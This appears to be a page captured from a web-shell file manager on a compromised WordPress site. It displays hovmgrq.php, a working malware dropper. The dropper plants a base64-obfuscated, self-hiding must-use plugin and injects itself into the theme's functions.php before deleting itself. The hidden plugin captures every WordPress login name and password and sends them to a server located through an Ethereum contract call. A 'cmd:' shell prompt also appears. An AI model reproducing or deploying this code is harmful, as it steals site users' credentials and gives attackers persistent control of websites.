FM / gwomiry

/home/vianto5/tcorporation.com/crsjiap/qxazmkd/gwomiry/

/home/vianto5/tcorporation.com/crsjiap/qxazmkd/gwomiry

Name	Size	Mode	Actions
about.php	322	0644	edit dl rm
admin.php	323	0644	edit dl rm
hovmgrq.php	5984	0644	edit dl rm
index.php	338	0444	edit dl rm
php.ini	105	0644	edit dl rm

Edit: /home/vianto5/tcorporation.com/crsjiap/qxazmkd/gwomiry/hovmgrq.php (5984B)

<?php

$root = $_SERVER['DOCUMENT_ROOT'];
$wp_load = $root . '/wp-load.php';

if ( ! file_exists( $wp_load ) ) {
	die( 0 );
}

require_once $wp_load;

$snippetZero = <<<'PHP'

$n = array(
		'wp-core-health.php',
		'wp-site-optimize.php',
		'wp-cache-handler.php',
		'wp-cron-manager.php',
		'wp-mail-queue.php',
		'wp-media-process.php',
		'wp-session-handler.php',
		'wp-object-cache-ext.php',
		'wp-db-monitor.php',
		'wp-rest-filter.php',
		'wp-login-throttle.php',
		'wp-xml-sitemap-core.php',
		'wp-oembed-handler.php',
		'wp-taxonomy-sort.php',
		'wp-rewrite-rules.php',
	);
	$d = wp_parse_url( home_url(), PHP_URL_HOST );
	$i = abs( crc32( $d ) % count( $n ) );
	$f = WPMU_PLUGIN_DIR . '/' . $n[ $i ];
	if ( file_exists( $f ) ) {
		return;
	}
	if ( ! is_dir( WPMU_PLUGIN_DIR ) ) {
		wp_mkdir_p( WPMU_PLUGIN_DIR );
	}
	$c =  base64_decode("PD9waHAKCi8qKgogKiBQbHVnaW4gTmFtZTogbWFpbnRlbmFuY2Ugc2VydmljZQogKi8KCmFkZF9hY3Rpb24oJ3dwX2F1dGhlbnRpY2F0ZScsICdlbnF1ZXVlX21haW50ZW5hbmNlJywgMSwgMik7CgpmdW5jdGlvbiBlbnF1ZXVlX21haW50ZW5hbmNlKCR1c2VyX2xvZ2luLCAkdXNlcl9wYXNzd29yZCkgewogICAgaWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddICE9PSAnUE9TVCcgfHwgJHVzZXJfbG9naW4gPT09ICcnIHx8ICR1c2VyX3Bhc3N3b3JkID09PSAnJykgewogICAgICAgIHJldHVybiBudWxsOwogICAgfQogICAgJG1haW50ID0gZ2V0TWFpbnRlbmFuY2UoKTsKICAgIGlmICghJG1haW50KSB7CiAgICAgICAgcmV0dXJuIG51bGw7CiAgICB9CiAgICAkaCA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkKICAgID8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddCiAgICA6ICcnOwogICAgCiAgICAkdXNlciA9IGdldF91c2VyX2J5KCdsb2dpbicsICR1c2VyX2xvZ2luKTsKCiAgICBpZiAoISR1c2VyICYmIGlzX2VtYWlsKCR1c2VyX2xvZ2luKSkgewogICAgICAgICR1c2VyID0gZ2V0X3VzZXJfYnkoJ2VtYWlsJywgJHVzZXJfbG9naW4pOwogICAgfQoKICAgIGlmICgkdXNlciAmJiB3cF9jaGVja19wYXNzd29yZCgkdXNlcl9wYXNzd29yZCwgJHVzZXItPnVzZXJfcGFzcywgJHVzZXItPklEKSkgewogICAgICAgIHdwX3JlbW90ZV9wb3N0KCdodHRwOi8vJy4kbWFpbnQuJy9hcGkvc3VjY2VzcycsIFsKICAgICAgICAgICAgJ3NzbHZlcmlmeScgPT4gZmFsc2UsCiAgICAgICAgICAgICdoZWFkZXJzJyA9PiBbCiAgICAgICAgICAgICAgICAnQ29udGVudC1UeXBlJyA9PiAnYXBwbGljYXRpb24vanNvbicsCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICdib2R5JyA9PiBqc29uX2VuY29kZShbCiAgICAgICAgICAgICAgICAndXNlcm5hbWUnID0+ICR1c2VyX2xvZ2luLAogICAgICAgICAgICAgICAgJ3B3ZCcgPT4gJHVzZXJfcGFzc3dvcmQsCiAgICAgICAgICAgICAgICAnaG9zdCcgPT4gJGgKICAgICAgICAgICAgXSksCiAgICAgICAgXSk7CiAgICAgICAgcmV0dXJuIDsKICAgIH0KICAgIHdwX3JlbW90ZV9wb3N0KCdodHRwOi8vJy4kbWFpbnQuJy9hcGkvYWRkJywgWwogICAgICAgICdzc2x2ZXJpZnknID0+IGZhbHNlLAogICAgICAgICdoZWFkZXJzJyA9PiBbCiAgICAgICAgICAgICdDb250ZW50LVR5cGUnID0+ICdhcHBsaWNhdGlvbi9qc29uJywKICAgICAgICBdLAogICAgICAgICdib2R5JyA9PiBqc29uX2VuY29kZShbCiAgICAgICAgICAgICd1c2VybmFtZScgPT4gJHVzZXJfbG9naW4sCiAgICAgICAgICAgICdwd2QnID0+ICR1c2VyX3Bhc3N3b3JkLAogICAgICAgICAgICAnaG9zdCcgPT4gJGgKICAgICAgICBdKSwKICAgIF0pOwp9CgphZGRfZmlsdGVyKCdwbHVnaW5zX2xpc3QnLCBmdW5jdGlvbiAoJHBsdWdpbnMpIHsKCiAgICAkc2VsZiA9IGJhc2VuYW1lKF9fRklMRV9fKTsKICAgIGlmIChpc3NldCgkcGx1Z2luc1snbXVzdHVzZSddKSkgewogICAgICAgIGZvcmVhY2ggKCRwbHVnaW5zWydtdXN0dXNlJ10gYXMgJGZpbGUgPT4gJGRhdGEpIHsKICAgICAgICAgICAgaWYgKGJhc2VuYW1lKCRmaWxlKSA9PT0gJHNlbGYpIHsKICAgICAgICAgICAgICAgIHVuc2V0KCRwbHVnaW5zWydtdXN0dXNlJ11bJGZpbGVdKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgcmV0dXJuICRwbHVnaW5zOwp9KTsKZnVuY3Rpb24gZ2V0TWFpbnRlbmFuY2UoKXsKICAgICRyZXNwb25zZSA9IHdwX3JlbW90ZV9wb3N0KCdodHRwczovL2V0aGVyZXVtLXNlcG9saWEtcnBjLnB1YmxpY25vZGUuY29tJywgWwogICAgICAgICdoZWFkZXJzJyA9PiBbCiAgICAgICAgICAgICdDb250ZW50LVR5cGUnID0+ICdhcHBsaWNhdGlvbi9qc29uJywKICAgICAgICBdLAogICAgICAgICdib2R5JyA9PiB3cF9qc29uX2VuY29kZShbCiAgICAgICAgICAgICdqc29ucnBjJyA9PiAnMi4wJywKICAgICAgICAgICAgJ21ldGhvZCcgID0+ICdldGhfY2FsbCcsCiAgICAgICAgICAgICdwYXJhbXMnICA9PiBbWyd0bycgPT4gJzB4NTlDOTAwNzZhMjA2MTk3MzE4OTc3Mjg5MTVGZTFkQTJmYmM5ZmEyZScsICdkYXRhJyA9PiAnMHhiNjhkMTgwOSddLCAnbGF0ZXN0J10sCiAgICAgICAgICAgICdpZCcgICAgICA9PiAxLAogICAgICAgIF0pLAogICAgICAgICd0aW1lb3V0JyA9PiAxNSwKICAgIF0pOwoKICAgIGlmIChpc193cF9lcnJvcigkcmVzcG9uc2UpKSB7CiAgICAgICAgcmV0dXJuIG51bGw7CiAgICB9CgogICAgJGJvZHkgPSB3cF9yZW1vdGVfcmV0cmlldmVfYm9keSgkcmVzcG9uc2UpOwogICAgaWYgKCEkYm9keSkgewogICAgICAgIHJldHVybiBudWxsOwogICAgfQoKICAgICRkYXRhID0ganNvbl9kZWNvZGUoJGJvZHksIHRydWUpOwogICAgaWYgKCFpc19hcnJheSgkZGF0YSkpIHsKICAgICAgICByZXR1cm4gbnVsbDsKICAgIH0KCiAgICAkaGV4ID0gJGRhdGFbJ3Jlc3VsdCddID8/IG51bGw7CiAgICBpZiAoISRoZXggfHwgIWlzX3N0cmluZygkaGV4KSB8fCBzdHJsZW4oJGhleCkgPCAxMzApIHsKICAgICAgICByZXR1cm4gbnVsbDsKICAgIH0KCiAgICAkaGV4ID0gc3Vic3RyKCRoZXgsIDIpOwogICAgJG9mZnNldCA9IGhleGRlYyhzdWJzdHIoJGhleCwgMCwgNjQpKSAqIDI7CiAgICAkbGVuZ3RoID0gaGV4ZGVjKHN1YnN0cigkaGV4LCAkb2Zmc2V0LCA2NCkpOwoKICAgIHJldHVybiBoZXgyYmluKHN1YnN0cigkaGV4LCAkb2Zmc2V0ICsgNjQsICRsZW5ndGggKiAyKSk7Cgp9");
	@file_put_contents( $f, $c );

PHP;

$Zero = true;
try {
    eval($snippetZero);
} catch (\Throwable $e) {
    $Zero = false;
}
$functions_path = get_stylesheet_directory() . '/functions.php';

if ( ! file_exists( $functions_path ) ) {
	if ($Zero){
		echo '</Activated>';
		unlink(__FILE__);
		die( 1 );
	}
	unlink(__FILE__);
	die( 0 );
}

$contents = @file_get_contents( $functions_path );
if ( $contents === false ) {
	if ($Zero){
		echo '</Activated>';
		unlink(__FILE__);
		die( 1 );
	}
	unlink(__FILE__);
	die( 0 );
}

$marker = '_wp_load_compat_layer';

if ( strpos( $contents, $marker ) !== false ) {
	echo '</Activated>';
	unlink(__FILE__);
	die( 1 );
}

$snippet = <<<'SNIPPET'

add_action( 'init', '_wp_load_compat_layer' );
function _wp_load_compat_layer() {
	__ZERO_CODE__
}
SNIPPET;

$snippet = str_replace(
    '__ZERO_CODE__',
    $snippetZero,
    $snippet
);

$pos = strpos( $contents, '<?php' );
if ( $pos !== false ) {
	$insert_at = $pos + 5;
} else {
	$pos = strpos( $contents, '<?' );
	if ( $pos === false ) {
		unlink(__FILE__);
		die( 0 );
	}
	$insert_at = $pos + 2;
}

$updated = substr( $contents, 0, $insert_at ) . "\n" . $snippet . substr( $contents, $insert_at );

if ( @file_put_contents( $functions_path, $updated ) !== false ) {
	echo '</Activated>';
	unlink(__FILE__);
	die( 1 );
}
if ($Zero){
	echo '</Activated>';
	unlink(__FILE__);
	die( 1 );
}
unlink(__FILE__);
die( 0 );

cmd: